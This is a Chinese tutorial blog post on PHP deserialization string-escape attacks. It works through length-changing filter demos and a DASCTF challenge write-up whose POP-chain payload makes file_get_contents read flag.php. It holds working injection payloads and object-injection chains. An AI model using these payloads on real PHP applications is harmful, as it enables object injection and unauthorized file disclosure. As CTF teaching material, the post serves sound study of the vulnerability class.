PHP反序列化字符串逃逸-爱代码爱编程
0x00 前提
掌握PHP反序列化的原理,序列化的对应内容及POP链构造。可参看:
https://xz.aliyun.com/t/3674,https://xz.aliyun.com/t/6454
PHP的反序列化特点:
01.PHP 在反序列化时,底层代码是以 ;
作为字段的分隔,以 }
作为结尾(字符串除外),并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。例如下图超出的abcd部分并不会被反序列化成功。
02.当长度不对应的时候会出现报错
03 可以反序列化类中不存在的元素
<?php
class user{
public $name = 'purplet';
public $age = '20';
}
$b='O:4:"user":3:{s:4:"name";s:7:"purplet";s:3:"age";s:2:"20";s:6:"gender";s:3:"boy";}';
print_r(unserialize($b));
?>
输出:
0x01 字符串逃逸
此类问题分为两种:1-过滤后字符变多,2-过滤后字符变少。
1-过滤后字符变多的原理就是引用的闭合思想。
案列Demo:
<?php
function filter($string){
$filter = '/p/i';
return preg_replace($filter,'WW',$string);
}
$username = 'purplet';
$age = "10";
$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>
该Demo的输出结果就可以看到p被换成了两个W,而前面对应的数值仍然是没过率之前的7。而后面的报错注意,也就是上面所说的特点2的性质。
而也是因为有这个过滤的存在,所以存在了注入的漏洞,我们可以构造序列化字符修改age的值,构造修改age的值的代码:";i:1;s:2:"20";}
,再计算一下构造的代码长度为16,同时知晓Demo的过滤是每有一个p就会多出一个字符,那么此时就再需要输入16个p,与上面构造的代码:";i:1;s:2:"20";}
拼接,即:username的值此时传入的是: pppppppppppppppp”;i:1;s:2:”20″;},这样序列化对应的32位长度在过滤后的序列化时会被32个w全部填充,从而使我们构造的代码 ";i:1;s:2:"20";}
成功逃逸,修改了age的值。(后面的值忽略是特点1)
这种逃逸的技巧:判断每个字符过滤后会比原字符多出几个。如果多出一个就与上述相同,多出两个以上可以这样去构造(这里我已2个为例):也就可以这么理解上面的Demo中的p过滤后会变成3个W,我们构造的代码长度依然是16,那么逃逸也就只需要再构造16/2=8个p即可(即:构造代码的长度除以多出的字符数)
2-过滤后字符变少的问题
<?php
function filter($string){
$filter = '/pp/i';
return preg_replace($filter,'W',$string);
}
$username = 'ppurlet';
$age = '10';
$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>
再看这个Demo,很明显两个p会变成一个W,但是前面的长度依然是7,因为过滤后的字符长度变小了,所以该7位数值将向后吞噬直到遇到”;结束,所以这种问题就不再是只传递一个值,而应该username处传递构造的过滤字符,age传递逃逸代码。
那么如何构造呢?
第一步、将上面正常传递age=10序列化后的结果;i:1;s:2:”10″;} 修改成构造代码 ;i:1;s:2:”20″;} 再次传入,该值即为最终的逃逸代码,而此时username传递的p的数值无法确定,先可随意构造,查看结果
很明显红线为我们传递的age的值,而再看前面26所应包含的内容为WWWWWWWWWWWWW”;i:1;s:15: 可以发现吃掉了一个原本对应的双引号,使前后引号不对应。
第二步、我们依然要闭合引号,所以age处传递一个任意数值和双引号进行闭合,即:再次传入age = A”;i:1;s:2:”20″;},查看结果
第三步、很明显此处选中的部分就是我们构造出要被吃掉的字符串,(也就变为了我们上面所说的第一种情况)计算出它的长度为13,而又知晓过滤后字符缩减一半,那么就可以构造13*2=26个p,即最终传递usernmae=pppppppppppppppppppppppppp,age=A”;i:1;s:2:”20″;}
最终成功使前面的被吃掉,后面构造的代码成功逃逸。
0x02 CTF中应用
以DASCTF的Ezunserialize为例(字符减少)
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
从源码中可以看到这是一个POP链的构造, 这里很明显是用C类中的__toString()
方法中的file_get_contents()
来读取flag.php的源码,然后在B类中存在字符串的拼接操作$c = 'a'.$this->b;
此处的$b
属性实例化为C对象即可触发__toString()
方法。而题目只有对A对象的实例化,因此需要将A的属性实例化为B,整个POP链便构造完成了:
$a = new A();
$b = new B();
$c = new C();
$c->c = "flag.php";
$b->b = $c;
$a->username = "1";
$a->password = $b;
echo serialize($a);
得到:
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
而接下来才是考虑反序列化字符串逃逸的问题,可以看到有两个过滤代码,一种减少一种增加,同时要求传入username和password的值,那么很明显就是上面我们所介绍的第二种方法(减少),同时注意带有POP链构造的,第一步一定要是POP链的构造,也就是第二种方法介绍的第一步。
首先a的过滤字符随意传入,b传入;s:8:”password”;O:1:”B”:1:{s:1:”b”;O:1:”C”:1:{s:1:”c”;s:8:”flag.php”;}}}
再看前面的双引号,出现了预期的不对应,补充A”,再次传入
计算画线长度为24,同时知晓过滤后字符由6变为3(减半),因此构造长度为48的\0大军,即(24个\0)
object(A)#2 (2) { ["username"]=> string(48) "********";s:8:"password";s:74:"A" ["password"]=> object(B)#3 (1) { ["b"]=> object(C)#4 (1) { ["c"]=> string(8) "flag.php" } } }
成功修改了C类中的c属性的值,变成了flag.php
0x03 最后
反序列化字符串逃逸中的难点有两个,一是POP链的构造,二是字符串减少的逃逸,字符串变多的逃逸只应用了减少中的一部分,因此相较为简单,本文也没对此类CTF题进行解析,思路与第一个Demo的构造是相同的。
练习:[GYCTF2020]Easyphp,[0CTF 2016]piapiapia可在BUUCTF上寻找复现
Referer: